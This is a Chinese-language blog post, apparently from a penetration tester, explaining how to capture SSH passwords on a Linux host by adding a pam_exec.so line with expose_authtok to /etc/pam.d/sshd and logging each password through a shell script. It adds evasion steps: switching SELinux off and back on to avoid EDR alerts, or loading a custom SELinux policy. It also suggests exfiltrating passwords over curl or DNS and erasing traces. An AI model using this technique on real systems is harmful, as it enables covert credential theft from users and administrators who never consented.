PAM_EXEC 不用第三方应用和重启抓取ssh密码

请注意,本文编写于 100 天前,最后修改于 100 天前,其中某些信息可能已经过时。

前言

从老外那新学一招:https://www.youtube.com/watch?v=FQGu9jarCWY

开始

先说优点,系统自带不安装第三方应用,不用重启,和strace方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送

缺点:要临时关闭selinux

pam_exec.so是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在/etc/pam.d/sshd的第一行,加上

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

1.png
1.png

其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题

然后在/tmp/sshd.sh里写上语句

#!/bin/sh

echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log

还要记住一定要设置所有用户得可执行权限!!! chmod 777 /tmp/sshd.sh或者chmod u+x /tmp/sshd.sh,不然也会执行失败
然后连接ssh到我们自己,就可以抓到密码辣

2.png
2.png

能写bash这下玩法就多了,比如curl/dns发送密码,抓到密码自动删除等等

当然这会有两个问题,一个是默认要关闭selinux,不然抓不到

问题一: selinux

当你修改完上面问题之后发现不生效,可以查看/var/log/secure

会发现如下内容

3.png
3.png

这时候需要执行setenforce 0临时关闭selinux才可以执行抓脚本的密码

如果担心被发现可以在上面脚本最后加上setenforce 1,抓到密码后恢复selinux状态

不过这样不太稳妥,可能会有EDR监控关闭selinux的行为,我们一关就告警。

还有一种方案就是修改selinux规则,在我们修改完规则之后,使用

audit2allow -a
audit2allow -a -M local
semodule -i local.pp

来修改selinux规则,但是有些发行版默认不带audit2allow,所以自行取舍

问题二:判断密码正确

默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。

Ippsec的方法是,把auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh的expose_authtok约束删了,然后放在认证成功后面

这样子如果脚本接收到一个空字符的信号,就代表程序PAM已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到ippsec用go代码实现了这个流程

要是换我的话可能会用另一个暴力方法实现,那就是直接读取/etc/shadow,用我们脚本手动验证一遍hash是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧

没了

添加新评论

已有 2 条评论

这个也需要root权限呀,抓ssh密码方法很多的

渗透干了8年 不得成精了 ୧(๑•̀⌄•́๑)૭